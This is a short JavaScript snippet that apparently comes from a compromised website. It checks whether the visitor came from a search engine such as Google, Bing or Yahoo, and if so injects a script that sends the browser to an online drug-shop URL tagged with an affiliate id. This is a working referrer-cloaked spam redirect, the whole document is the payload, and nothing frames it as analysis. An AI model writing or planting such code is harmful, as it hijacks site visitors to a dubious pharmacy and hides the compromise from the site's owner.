var referrer = String(document.referrer).toLowerCase(); 
var urls = new Array(); 
urls.push("ask"); 
urls.push("google"); 
urls.push("msn"); 
urls.push("bing");
urls.push("live"); 
urls.push("aol"); 
urls.push("altavista"); 
urls.push("excite"); 
urls.push("yahoo"); 
for (var i=0; i<urls.length; i++) { 
if (String(referrer).search(urls[i]) != -1) { 
document.write('<script>window.location="http://canadian-drugshop.com/?aid=8702";</script>'); 
break; 
}}